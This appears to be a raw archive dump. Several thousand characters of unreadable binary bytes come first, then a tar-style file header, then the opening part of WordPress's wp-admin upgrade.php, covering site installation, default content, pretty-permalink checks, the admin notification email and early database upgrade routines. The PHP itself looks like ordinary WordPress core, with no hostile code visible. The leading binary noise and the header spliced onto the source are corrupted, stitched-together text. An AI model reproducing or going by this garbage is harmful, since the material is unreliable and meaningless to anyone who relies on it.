q�EH\�q:j��YU�@��F���{�0�qh���'yJ�z�$k��oWp[��/�Z?pF'��,4��JUCЧvl���Wo����=�L��-�E�Z���>�_)��s�W¨��%��!&Xyr'��X�LmW��/~���$�S�^Ϸ����^�q�N�9e�hQ�]�2x@z�)��%u�-n�L����e�Q#.��Z��G�rfR�W�T�=R<��^gX�[0�҃~H��CT=m������7
L|��|kw!X�!�:"F�UD��uN�6��g�����Az�طߣ�Z��ԡ��������^����qd�ۙ)�7�����H8���6Z:�+��v �-x�Xp�#�[y�:��=Nx��j9AIi�;���0K�V9O�O�Ǫ�$_��ޣ�3������������Z��B�p>���
�(S\�O�h���P�e	�7��߸!S�x/��7ak0�_��i0ꚵe���s���YJݪ�LBAw��r��pw�m���N#u����Nˍ��oBCCbu�:JƧCN{�Ұ$����eg��hg����W������=u._�G���v�	@�{�2E�\�گ�	uQd��@B���B�%$2x���
�~f�x+�?�vmDᗈ����q�"����h
u��e��<A{�*�� (������-MPW�p�U����
�j�y��`�J�슮Q�t;dɚ��v��ZqtNlCa��1�иf<\K�
۬�`?b`�x�'L,
ODž𺴸�oTha��4�!���8�_����v�
P0Ul���1�U ؅�VJ�\ǻv?_��`��>���X�c�;-��a�H��e$���Lc|�*�(r����'�	7�r(��"rn
TtrQ�㔯�� Au���r��ϓPm�J�%����c_�U��ta��WN�s�I�j�w[S���Ͳ��!��M���]�@EB��b������Hȁ>))$��Ű�b�6��~ይ6U(o�A�h�ֻo���u������.z����C�	^�t>�h�������ȏ%���N5{�ZL����1��C�F/�G5�Q�]�D���$��^�psM��y%Tc�f�C�6���X�9_�V�`��9ӫ%�x��=�!׹�gv�~�cj^�k9Ь�97p,~�R)�\y�%S]���\Yn�θh�S�TL�%(=gsZC���D�M�\Ss��a-�_p�kמ#T<'5�����׵S)�C����yQ��[���q��~�������7��_>�|�upgrade.php000064400000333022150275632050006714 0ustar00<?php
/**
 * WordPress Upgrade API
 *
 * Most of the functions are pluggable and can be overwritten.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Include user installation customization script. */
if ( file_exists( WP_CONTENT_DIR . '/install.php' ) ) {
	require WP_CONTENT_DIR . '/install.php';
}

/** WordPress Administration API */
require_once ABSPATH . 'wp-admin/includes/admin.php';

/** WordPress Schema API */
require_once ABSPATH . 'wp-admin/includes/schema.php';

if ( ! function_exists( 'wp_install' ) ) :
	/**
	 * Installs the site.
	 *
	 * Runs the required functions to set up and populate the database,
	 * including primary admin user and initial options.
	 *
	 * @since 2.1.0
	 *
	 * @param string $blog_title    Site title.
	 * @param string $user_name     User's username.
	 * @param string $user_email    User's email.
	 * @param bool   $is_public     Whether the site is public.
	 * @param string $deprecated    Optional. Not used.
	 * @param string $user_password Optional. User's chosen password. Default empty (random password).
	 * @param string $language      Optional. Language chosen. Default empty.
	 * @return array {
	 *     Data for the newly installed site.
	 *
	 *     @type string $url              The URL of the site.
	 *     @type int    $user_id          The ID of the site owner.
	 *     @type string $password         The password of the site owner, if their user account didn't already exist.
	 *     @type string $password_message The explanatory message regarding the password.
	 * }
	 */
	function wp_install( $blog_title, $user_name, $user_email, $is_public, $deprecated = '', $user_password = '', $language = '' ) {
		if ( ! empty( $deprecated ) ) {
			_deprecated_argument( __FUNCTION__, '2.6.0' );
		}

		wp_check_mysql_version();
		wp_cache_flush();
		make_db_current_silent();
		populate_options();
		populate_roles();

		update_option( 'blogname', $blog_title );
		update_option( 'admin_email', $user_email );
		update_option( 'blog_public', $is_public );

		// Freshness of site - in the future, this could get more specific about actions taken, perhaps.
		update_option( 'fresh_site', 1 );

		if ( $language ) {
			update_option( 'WPLANG', $language );
		}

		$guessurl = wp_guess_url();

		update_option( 'siteurl', $guessurl );

		// If not a public site, don't ping.
		if ( ! $is_public ) {
			update_option( 'default_pingback_flag', 0 );
		}

		/*
		 * Create default user. If the user already exists, the user tables are
		 * being shared among sites. Just set the role in that case.
		 */
		$user_id        = username_exists( $user_name );
		$user_password  = trim( $user_password );
		$email_password = false;
		$user_created   = false;

		if ( ! $user_id && empty( $user_password ) ) {
			$user_password = wp_generate_password( 12, false );
			$message       = __( '<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.' );
			$user_id       = wp_create_user( $user_name, $user_password, $user_email );
			update_user_meta( $user_id, 'default_password_nag', true );
			$email_password = true;
			$user_created   = true;
		} elseif ( ! $user_id ) {
			// Password has been provided.
			$message      = '<em>' . __( 'Your chosen password.' ) . '</em>';
			$user_id      = wp_create_user( $user_name, $user_password, $user_email );
			$user_created = true;
		} else {
			$message = __( 'User already exists. Password inherited.' );
		}

		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );

		if ( $user_created ) {
			$user->user_url = $guessurl;
			wp_update_user( $user );
		}

		wp_install_defaults( $user_id );

		wp_install_maybe_enable_pretty_permalinks();

		flush_rewrite_rules();

		wp_new_blog_notification( $blog_title, $guessurl, $user_id, ( $email_password ? $user_password : __( 'The password you chose during installation.' ) ) );

		wp_cache_flush();

		/**
		 * Fires after a site is fully installed.
		 *
		 * @since 3.9.0
		 *
		 * @param WP_User $user The site owner.
		 */
		do_action( 'wp_install', $user );

		return array(
			'url'              => $guessurl,
			'user_id'          => $user_id,
			'password'         => $user_password,
			'password_message' => $message,
		);
	}
endif;

if ( ! function_exists( 'wp_install_defaults' ) ) :
	/**
	 * Creates the initial content for a newly-installed site.
	 *
	 * Adds the default "Uncategorized" category, the first post (with comment),
	 * first page, and default widgets for default theme for the current version.
	 *
	 * @since 2.1.0
	 *
	 * @global wpdb       $wpdb         WordPress database abstraction object.
	 * @global WP_Rewrite $wp_rewrite   WordPress rewrite component.
	 * @global string     $table_prefix
	 *
	 * @param int $user_id User ID.
	 */
	function wp_install_defaults( $user_id ) {
		global $wpdb, $wp_rewrite, $table_prefix;

		// Default category.
		$cat_name = __( 'Uncategorized' );
		/* translators: Default category slug. */
		$cat_slug = sanitize_title( _x( 'Uncategorized', 'Default category slug' ) );

		$cat_id = 1;

		$wpdb->insert(
			$wpdb->terms,
			array(
				'term_id'    => $cat_id,
				'name'       => $cat_name,
				'slug'       => $cat_slug,
				'term_group' => 0,
			)
		);
		$wpdb->insert(
			$wpdb->term_taxonomy,
			array(
				'term_id'     => $cat_id,
				'taxonomy'    => 'category',
				'description' => '',
				'parent'      => 0,
				'count'       => 1,
			)
		);
		$cat_tt_id = $wpdb->insert_id;

		// First post.
		$now             = current_time( 'mysql' );
		$now_gmt         = current_time( 'mysql', 1 );
		$first_post_guid = get_option( 'home' ) . '/?p=1';

		if ( is_multisite() ) {
			$first_post = get_site_option( 'first_post' );

			if ( ! $first_post ) {
				$first_post = "<!-- wp:paragraph -->\n<p>" .
				/* translators: First post content. %s: Site link. */
				__( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ) .
				"</p>\n<!-- /wp:paragraph -->";
			}

			$first_post = sprintf(
				$first_post,
				sprintf( '<a href="%s">%s</a>', esc_url( network_home_url() ), get_network()->site_name )
			);

			// Back-compat for pre-4.4.
			$first_post = str_replace( 'SITE_URL', esc_url( network_home_url() ), $first_post );
			$first_post = str_replace( 'SITE_NAME', get_network()->site_name, $first_post );
		} else {
			$first_post = "<!-- wp:paragraph -->\n<p>" .
			/* translators: First post content. %s: Site link. */
			__( 'Welcome to WordPress. This is your first post. Edit or delete it, then start writing!' ) .
			"</p>\n<!-- /wp:paragraph -->";
		}

		$wpdb->insert(
			$wpdb->posts,
			array(
				'post_author'           => $user_id,
				'post_date'             => $now,
				'post_date_gmt'         => $now_gmt,
				'post_content'          => $first_post,
				'post_excerpt'          => '',
				'post_title'            => __( 'Hello world!' ),
				/* translators: Default post slug. */
				'post_name'             => sanitize_title( _x( 'hello-world', 'Default post slug' ) ),
				'post_modified'         => $now,
				'post_modified_gmt'     => $now_gmt,
				'guid'                  => $first_post_guid,
				'comment_count'         => 1,
				'to_ping'               => '',
				'pinged'                => '',
				'post_content_filtered' => '',
			)
		);

		if ( is_multisite() ) {
			update_posts_count();
		}

		$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'term_taxonomy_id' => $cat_tt_id,
				'object_id'        => 1,
			)
		);

		// Default comment.
		if ( is_multisite() ) {
			$first_comment_author = get_site_option( 'first_comment_author' );
			$first_comment_email  = get_site_option( 'first_comment_email' );
			$first_comment_url    = get_site_option( 'first_comment_url', network_home_url() );
			$first_comment        = get_site_option( 'first_comment' );
		}

		$first_comment_author = ! empty( $first_comment_author ) ? $first_comment_author : __( 'A WordPress Commenter' );
		$first_comment_email  = ! empty( $first_comment_email ) ? $first_comment_email : 'wapuu@wordpress.example';
		$first_comment_url    = ! empty( $first_comment_url ) ? $first_comment_url : esc_url( __( 'https://wordpress.org/' ) );
		$first_comment        = ! empty( $first_comment ) ? $first_comment : sprintf(
			/* translators: %s: Gravatar URL. */
			__(
				'Hi, this is a comment.
To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
Commenter avatars come from <a href="%s">Gravatar</a>.'
			),
			esc_url( __( 'https://en.gravatar.com/' ) )
		);
		$wpdb->insert(
			$wpdb->comments,
			array(
				'comment_post_ID'      => 1,
				'comment_author'       => $first_comment_author,
				'comment_author_email' => $first_comment_email,
				'comment_author_url'   => $first_comment_url,
				'comment_date'         => $now,
				'comment_date_gmt'     => $now_gmt,
				'comment_content'      => $first_comment,
				'comment_type'         => 'comment',
			)
		);

		// First page.
		if ( is_multisite() ) {
			$first_page = get_site_option( 'first_page' );
		}

		if ( empty( $first_page ) ) {
			$first_page = "<!-- wp:paragraph -->\n<p>";
			/* translators: First page content. */
			$first_page .= __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:" );
			$first_page .= "</p>\n<!-- /wp:paragraph -->\n\n";

			$first_page .= "<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>";
			/* translators: First page content. */
			$first_page .= __( "Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my website. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)" );
			$first_page .= "</p></blockquote>\n<!-- /wp:quote -->\n\n";

			$first_page .= "<!-- wp:paragraph -->\n<p>";
			/* translators: First page content. */
			$first_page .= __( '...or something like this:' );
			$first_page .= "</p>\n<!-- /wp:paragraph -->\n\n";

			$first_page .= "<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>";
			/* translators: First page content. */
			$first_page .= __( 'The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.' );
			$first_page .= "</p></blockquote>\n<!-- /wp:quote -->\n\n";

			$first_page .= "<!-- wp:paragraph -->\n<p>";
			$first_page .= sprintf(
				/* translators: First page content. %s: Site admin URL. */
				__( 'As a new WordPress user, you should go to <a href="%s">your dashboard</a> to delete this page and create new pages for your content. Have fun!' ),
				admin_url()
			);
			$first_page .= "</p>\n<!-- /wp:paragraph -->";
		}

		$first_post_guid = get_option( 'home' ) . '/?page_id=2';
		$wpdb->insert(
			$wpdb->posts,
			array(
				'post_author'           => $user_id,
				'post_date'             => $now,
				'post_date_gmt'         => $now_gmt,
				'post_content'          => $first_page,
				'post_excerpt'          => '',
				'comment_status'        => 'closed',
				'post_title'            => __( 'Sample Page' ),
				/* translators: Default page slug. */
				'post_name'             => __( 'sample-page' ),
				'post_modified'         => $now,
				'post_modified_gmt'     => $now_gmt,
				'guid'                  => $first_post_guid,
				'post_type'             => 'page',
				'to_ping'               => '',
				'pinged'                => '',
				'post_content_filtered' => '',
			)
		);
		$wpdb->insert(
			$wpdb->postmeta,
			array(
				'post_id'    => 2,
				'meta_key'   => '_wp_page_template',
				'meta_value' => 'default',
			)
		);

		// Privacy Policy page.
		if ( is_multisite() ) {
			// Disable by default unless the suggested content is provided.
			$privacy_policy_content = get_site_option( 'default_privacy_policy_content' );
		} else {
			if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
				require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
			}

			$privacy_policy_content = WP_Privacy_Policy_Content::get_default_content();
		}

		if ( ! empty( $privacy_policy_content ) ) {
			$privacy_policy_guid = get_option( 'home' ) . '/?page_id=3';

			$wpdb->insert(
				$wpdb->posts,
				array(
					'post_author'           => $user_id,
					'post_date'             => $now,
					'post_date_gmt'         => $now_gmt,
					'post_content'          => $privacy_policy_content,
					'post_excerpt'          => '',
					'comment_status'        => 'closed',
					'post_title'            => __( 'Privacy Policy' ),
					/* translators: Privacy Policy page slug. */
					'post_name'             => __( 'privacy-policy' ),
					'post_modified'         => $now,
					'post_modified_gmt'     => $now_gmt,
					'guid'                  => $privacy_policy_guid,
					'post_type'             => 'page',
					'post_status'           => 'draft',
					'to_ping'               => '',
					'pinged'                => '',
					'post_content_filtered' => '',
				)
			);
			$wpdb->insert(
				$wpdb->postmeta,
				array(
					'post_id'    => 3,
					'meta_key'   => '_wp_page_template',
					'meta_value' => 'default',
				)
			);
			update_option( 'wp_page_for_privacy_policy', 3 );
		}

		// Set up default widgets for default theme.
		update_option(
			'widget_block',
			array(
				2              => array( 'content' => '<!-- wp:search /-->' ),
				3              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Recent Posts' ) . '</h2><!-- /wp:heading --><!-- wp:latest-posts /--></div><!-- /wp:group -->' ),
				4              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Recent Comments' ) . '</h2><!-- /wp:heading --><!-- wp:latest-comments {"displayAvatar":false,"displayDate":false,"displayExcerpt":false} /--></div><!-- /wp:group -->' ),
				5              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Archives' ) . '</h2><!-- /wp:heading --><!-- wp:archives /--></div><!-- /wp:group -->' ),
				6              => array( 'content' => '<!-- wp:group --><div class="wp-block-group"><!-- wp:heading --><h2>' . __( 'Categories' ) . '</h2><!-- /wp:heading --><!-- wp:categories /--></div><!-- /wp:group -->' ),
				'_multiwidget' => 1,
			)
		);
		update_option(
			'sidebars_widgets',
			array(
				'wp_inactive_widgets' => array(),
				'sidebar-1'           => array(
					0 => 'block-2',
					1 => 'block-3',
					2 => 'block-4',
				),
				'sidebar-2'           => array(
					0 => 'block-5',
					1 => 'block-6',
				),
				'array_version'       => 3,
			)
		);

		if ( ! is_multisite() ) {
			update_user_meta( $user_id, 'show_welcome_panel', 1 );
		} elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) ) {
			update_user_meta( $user_id, 'show_welcome_panel', 2 );
		}

		if ( is_multisite() ) {
			// Flush rules to pick up the new page.
			$wp_rewrite->init();
			$wp_rewrite->flush_rules();

			$user = new WP_User( $user_id );
			$wpdb->update( $wpdb->options, array( 'option_value' => $user->user_email ), array( 'option_name' => 'admin_email' ) );

			// Remove all perms except for the login user.
			$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'user_level' ) );
			$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix . 'capabilities' ) );

			/*
			 * Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.)
			 * TODO: Get previous_blog_id.
			 */
			if ( ! is_super_admin( $user_id ) && 1 != $user_id ) {
				$wpdb->delete(
					$wpdb->usermeta,
					array(
						'user_id'  => $user_id,
						'meta_key' => $wpdb->base_prefix . '1_capabilities',
					)
				);
			}
		}
	}
endif;

/**
 * Maybe enable pretty permalinks on installation.
 *
 * If after enabling pretty permalinks don't work, fallback to query-string permalinks.
 *
 * @since 4.2.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool Whether pretty permalinks are enabled. False otherwise.
 */
function wp_install_maybe_enable_pretty_permalinks() {
	global $wp_rewrite;

	// Bail if a permalink structure is already enabled.
	if ( get_option( 'permalink_structure' ) ) {
		return true;
	}

	/*
	 * The Permalink structures to attempt.
	 *
	 * The first is designed for mod_rewrite or nginx rewriting.
	 *
	 * The second is PATHINFO-based permalinks for web server configurations
	 * without a true rewrite module enabled.
	 */
	$permalink_structures = array(
		'/%year%/%monthnum%/%day%/%postname%/',
		'/index.php/%year%/%monthnum%/%day%/%postname%/',
	);

	foreach ( (array) $permalink_structures as $permalink_structure ) {
		$wp_rewrite->set_permalink_structure( $permalink_structure );

		/*
		 * Flush rules with the hard option to force refresh of the web-server's
		 * rewrite config file (e.g. .htaccess or web.config).
		 */
		$wp_rewrite->flush_rules( true );

		$test_url = '';

		// Test against a real WordPress post.
		$first_post = get_page_by_path( sanitize_title( _x( 'hello-world', 'Default post slug' ) ), OBJECT, 'post' );
		if ( $first_post ) {
			$test_url = get_permalink( $first_post->ID );
		}

		/*
		 * Send a request to the site, and check whether
		 * the 'X-Pingback' header is returned as expected.
		 *
		 * Uses wp_remote_get() instead of wp_remote_head() because web servers
		 * can block head requests.
		 */
		$response          = wp_remote_get( $test_url, array( 'timeout' => 5 ) );
		$x_pingback_header = wp_remote_retrieve_header( $response, 'X-Pingback' );
		$pretty_permalinks = $x_pingback_header && get_bloginfo( 'pingback_url' ) === $x_pingback_header;

		if ( $pretty_permalinks ) {
			return true;
		}
	}

	/*
	 * If it makes it this far, pretty permalinks failed.
	 * Fallback to query-string permalinks.
	 */
	$wp_rewrite->set_permalink_structure( '' );
	$wp_rewrite->flush_rules( true );

	return false;
}

if ( ! function_exists( 'wp_new_blog_notification' ) ) :
	/**
	 * Notifies the site admin that the installation of WordPress is complete.
	 *
	 * Sends an email to the new administrator that the installation is complete
	 * and provides them with a record of their login credentials.
	 *
	 * @since 2.1.0
	 *
	 * @param string $blog_title Site title.
	 * @param string $blog_url   Site URL.
	 * @param int    $user_id    Administrator's user ID.
	 * @param string $password   Administrator's password. Note that a placeholder message is
	 *                           usually passed instead of the actual password.
	 */
	function wp_new_blog_notification( $blog_title, $blog_url, $user_id, $password ) {
		$user      = new WP_User( $user_id );
		$email     = $user->user_email;
		$name      = $user->user_login;
		$login_url = wp_login_url();

		$message = sprintf(
			/* translators: New site notification email. 1: New site URL, 2: User login, 3: User password or password reset link, 4: Login URL. */
			__(
				'Your new WordPress site has been successfully set up at:

%1$s

You can log in to the administrator account with the following information:

Username: %2$s
Password: %3$s
Log in here: %4$s

We hope you enjoy your new site. Thanks!

--The WordPress Team
https://wordpress.org/
'
			),
			$blog_url,
			$name,
			$password,
			$login_url
		);

		$installed_email = array(
			'to'      => $email,
			'subject' => __( 'New WordPress Site' ),
			'message' => $message,
			'headers' => '',
		);

		/**
		 * Filters the contents of the email sent to the site administrator when WordPress is installed.
		 *
		 * @since 5.6.0
		 *
		 * @param array $installed_email {
		 *     Used to build wp_mail().
		 *
		 *     @type string $to      The email address of the recipient.
		 *     @type string $subject The subject of the email.
		 *     @type string $message The content of the email.
		 *     @type string $headers Headers.
		 * }
		 * @param WP_User $user          The site administrator user object.
		 * @param string  $blog_title    The site title.
		 * @param string  $blog_url      The site URL.
		 * @param string  $password      The site administrator's password. Note that a placeholder message
		 *                               is usually passed instead of the user's actual password.
		 */
		$installed_email = apply_filters( 'wp_installed_email', $installed_email, $user, $blog_title, $blog_url, $password );

		wp_mail(
			$installed_email['to'],
			$installed_email['subject'],
			$installed_email['message'],
			$installed_email['headers']
		);
	}
endif;

if ( ! function_exists( 'wp_upgrade' ) ) :
	/**
	 * Runs WordPress Upgrade functions.
	 *
	 * Upgrades the database if needed during a site update.
	 *
	 * @since 2.1.0
	 *
	 * @global int  $wp_current_db_version The old (current) database version.
	 * @global int  $wp_db_version         The new database version.
	 */
	function wp_upgrade() {
		global $wp_current_db_version, $wp_db_version;

		$wp_current_db_version = __get_option( 'db_version' );

		// We are up to date. Nothing to do.
		if ( $wp_db_version == $wp_current_db_version ) {
			return;
		}

		if ( ! is_blog_installed() ) {
			return;
		}

		wp_check_mysql_version();
		wp_cache_flush();
		pre_schema_upgrade();
		make_db_current_silent();
		upgrade_all();
		if ( is_multisite() && is_main_site() ) {
			upgrade_network();
		}
		wp_cache_flush();

		if ( is_multisite() ) {
			update_site_meta( get_current_blog_id(), 'db_version', $wp_db_version );
			update_site_meta( get_current_blog_id(), 'db_last_updated', microtime() );
		}

		delete_transient( 'wp_core_block_css_files' );

		/**
		 * Fires after a site is fully upgraded.
		 *
		 * @since 3.9.0
		 *
		 * @param int $wp_db_version         The new $wp_db_version.
		 * @param int $wp_current_db_version The old (current) $wp_db_version.
		 */
		do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version );
	}
endif;

/**
 * Functions to be called in installation and upgrade scripts.
 *
 * Contains conditional checks to determine which upgrade scripts to run,
 * based on database version and WP version being updated-to.
 *
 * @ignore
 * @since 1.0.1
 *
 * @global int $wp_current_db_version The old (current) database version.
 * @global int $wp_db_version         The new database version.
 */
function upgrade_all() {
	global $wp_current_db_version, $wp_db_version;

	$wp_current_db_version = __get_option( 'db_version' );

	// We are up to date. Nothing to do.
	if ( $wp_db_version == $wp_current_db_version ) {
		return;
	}

	// If the version is not set in the DB, try to guess the version.
	if ( empty( $wp_current_db_version ) ) {
		$wp_current_db_version = 0;

		// If the template option exists, we have 1.5.
		$template = __get_option( 'template' );
		if ( ! empty( $template ) ) {
			$wp_current_db_version = 2541;
		}
	}

	if ( $wp_current_db_version < 6039 ) {
		upgrade_230_options_table();
	}

	populate_options();

	if ( $wp_current_db_version < 2541 ) {
		upgrade_100();
		upgrade_101();
		upgrade_110();
		upgrade_130();
	}

	if ( $wp_current_db_version < 3308 ) {
		upgrade_160();
	}

	if ( $wp_current_db_version < 4772 ) {
		upgrade_210();
	}

	if ( $wp_current_db_version < 4351 ) {
		upgrade_old_slugs();
	}

	if ( $wp_current_db_version < 5539 ) {
		upgrade_230();
	}

	if ( $wp_current_db_version < 6124 ) {
		upgrade_230_old_tables();
	}

	if ( $wp_current_db_version < 7499 ) {
		upgrade_250();
	}

	if ( $wp_current_db_version < 7935 ) {
		upgrade_252();
	}

	if ( $wp_current_db_version < 8201 ) {
		upgrade_260();
	}

	if ( $wp_current_db_version < 8989 ) {
		upgrade_270();
	}

	if ( $wp_current_db_version < 10360 ) {
		upgrade_280();
	}

	if ( $wp_current_db_version < 11958 ) {
		upgrade_290();
	}

	if ( $wp_current_db_version < 15260 ) {
		upgrade_300();
	}

	if ( $wp_current_db_version < 19389 ) {
		upgrade_330();
	}

	if ( $wp_current_db_version < 20080 ) {
		upgrade_340();
	}

	if ( $wp_current_db_version < 22422 ) {
		upgrade_350();
	}

	if ( $wp_current_db_version < 25824 ) {
		upgrade_370();
	}

	if ( $wp_current_db_version < 26148 ) {
		upgrade_372();
	}

	if ( $wp_current_db_version < 26691 ) {
		upgrade_380();
	}

	if ( $wp_current_db_version < 29630 ) {
		upgrade_400();
	}

	if ( $wp_current_db_version < 33055 ) {
		upgrade_430();
	}

	if ( $wp_current_db_version < 33056 ) {
		upgrade_431();
	}

	if ( $wp_current_db_version < 35700 ) {
		upgrade_440();
	}

	if ( $wp_current_db_version < 36686 ) {
		upgrade_450();
	}

	if ( $wp_current_db_version < 37965 ) {
		upgrade_460();
	}

	if ( $wp_current_db_version < 44719 ) {
		upgrade_510();
	}

	if ( $wp_current_db_version < 45744 ) {
		upgrade_530();
	}

	if ( $wp_current_db_version < 48575 ) {
		upgrade_550();
	}

	if ( $wp_current_db_version < 49752 ) {
		upgrade_560();
	}

	if ( $wp_current_db_version < 51917 ) {
		upgrade_590();
	}

	if ( $wp_current_db_version < 53011 ) {
		upgrade_600();
	}

	if ( $wp_current_db_version < 55853 ) {
		upgrade_630();
	}

	if ( $wp_current_db_version < 56657 ) {
		upgrade_640();
	}

	maybe_disable_link_manager();

	maybe_disable_automattic_widgets();

	update_option( 'db_version', $wp_db_version );
	update_option( 'db_upgraded', true );
}

/**
 * Execute changes made in WordPress 1.0.
 *
 * @ignore
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_100() {
	global $wpdb;

	// Get the title and ID of every post, post_name to check if it already has a value.
	$posts = $wpdb->get_results( "SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''" );
	if ( $posts ) {
		foreach ( $posts as $post ) {
			if ( '' === $post->post_name ) {
				$newtitle = sanitize_title( $post->post_title );
				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID ) );
			}
		}
	}

	$categories = $wpdb->get_results( "SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories" );
	foreach ( $categories as $category ) {
		if ( '' === $category->category_nicename ) {
			$newtitle = sanitize_title( $category->cat_name );
			$wpdb->update( $wpdb->categories, array( 'category_nicename' => $newtitle ), array( 'cat_ID' => $category->cat_ID ) );
		}
	}

	$sql = "UPDATE $wpdb->options
		SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
		WHERE option_name LIKE %s
		AND option_value LIKE %s";
	$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( 'links_rating_image' ) . '%', $wpdb->esc_like( 'wp-links/links-images/' ) . '%' ) );

	$done_ids = $wpdb->get_results( "SELECT DISTINCT post_id FROM $wpdb->post2cat" );
	if ( $done_ids ) :
		$done_posts = array();
		foreach ( $done_ids as $done_id ) :
			$done_posts[] = $done_id->post_id;
		endforeach;
		$catwhere = ' AND ID NOT IN (' . implode( ',', $done_posts ) . ')';
	else :
		$catwhere = '';
	endif;

	$allposts = $wpdb->get_results( "SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere" );
	if ( $allposts ) :
		foreach ( $allposts as $post ) {
			// Check to see if it's already been imported.
			$cat = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category ) );
			if ( ! $cat && 0 != $post->post_category ) { // If there's no result.
				$wpdb->insert(
					$wpdb->post2cat,
					array(
						'post_id'     => $post->ID,
						'category_id' => $post->post_category,
					)
				);
			}
		}
	endif;
}

/**
 * Execute changes made in WordPress 1.0.1.
 *
 * @ignore
 * @since 1.0.1
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_101() {
	global $wpdb;

	// Clean up indices, add a few.
	add_clean_index( $wpdb->posts, 'post_name' );
	add_clean_index( $wpdb->posts, 'post_status' );
	add_clean_index( $wpdb->categories, 'category_nicename' );
	add_clean_index( $wpdb->comments, 'comment_approved' );
	add_clean_index( $wpdb->comments, 'comment_post_ID' );
	add_clean_index( $wpdb->links, 'link_category' );
	add_clean_index( $wpdb->links, 'link_visible' );
}

/**
 * Execute changes made in WordPress 1.2.
 *
 * @ignore
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_110() {
	global $wpdb;

	// Set user_nicename.
	$users = $wpdb->get_results( "SELECT ID, user_nickname, user_nicename FROM $wpdb->users" );
	foreach ( $users as $user ) {
		if ( '' === $user->user_nicename ) {
			$newname = sanitize_title( $user->user_nickname );
			$wpdb->update( $wpdb->users, array( 'user_nicename' => $newname ), array( 'ID' => $user->ID ) );
		}
	}

	$users = $wpdb->get_results( "SELECT ID, user_pass from $wpdb->users" );
	foreach ( $users as $row ) {
		if ( ! preg_match( '/^[A-Fa-f0-9]{32}$/', $row->user_pass ) ) {
			$wpdb->update( $wpdb->users, array( 'user_pass' => md5( $row->user_pass ) ), array( 'ID' => $row->ID ) );
		}
	}

	// Get the GMT offset, we'll use that later on.
	$all_options = get_alloptions_110();

	$time_difference = $all_options->time_difference;

		$server_time = time() + gmdate( 'Z' );
	$weblogger_time  = $server_time + $time_difference * HOUR_IN_SECONDS;
	$gmt_time        = time();

	$diff_gmt_server       = ( $gmt_time - $server_time ) / HOUR_IN_SECONDS;
	$diff_weblogger_server = ( $weblogger_time - $server_time ) / HOUR_IN_SECONDS;
	$diff_gmt_weblogger    = $diff_gmt_server - $diff_weblogger_server;
	$gmt_offset            = -$diff_gmt_weblogger;

	// Add a gmt_offset option, with value $gmt_offset.
	add_option( 'gmt_offset', $gmt_offset );

	/*
	 * Check if we already set the GMT fields. If we did, then
	 * MAX(post_date_gmt) can't be '0000-00-00 00:00:00'.
	 * <michel_v> I just slapped myself silly for not thinking about it earlier.
	 */
	$got_gmt_fields = ( '0000-00-00 00:00:00' !== $wpdb->get_var( "SELECT MAX(post_date_gmt) FROM $wpdb->posts" ) );

	if ( ! $got_gmt_fields ) {

		// Add or subtract time to all dates, to get GMT dates.
		$add_hours   = (int) $diff_gmt_weblogger;
		$add_minutes = (int) ( 60 * ( $diff_gmt_weblogger - $add_hours ) );
		$wpdb->query( "UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
		$wpdb->query( "UPDATE $wpdb->posts SET post_modified = post_date" );
		$wpdb->query( "UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'" );
		$wpdb->query( "UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
		$wpdb->query( "UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)" );
	}
}

/**
 * Execute changes made in WordPress 1.5.
 *
 * @ignore
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
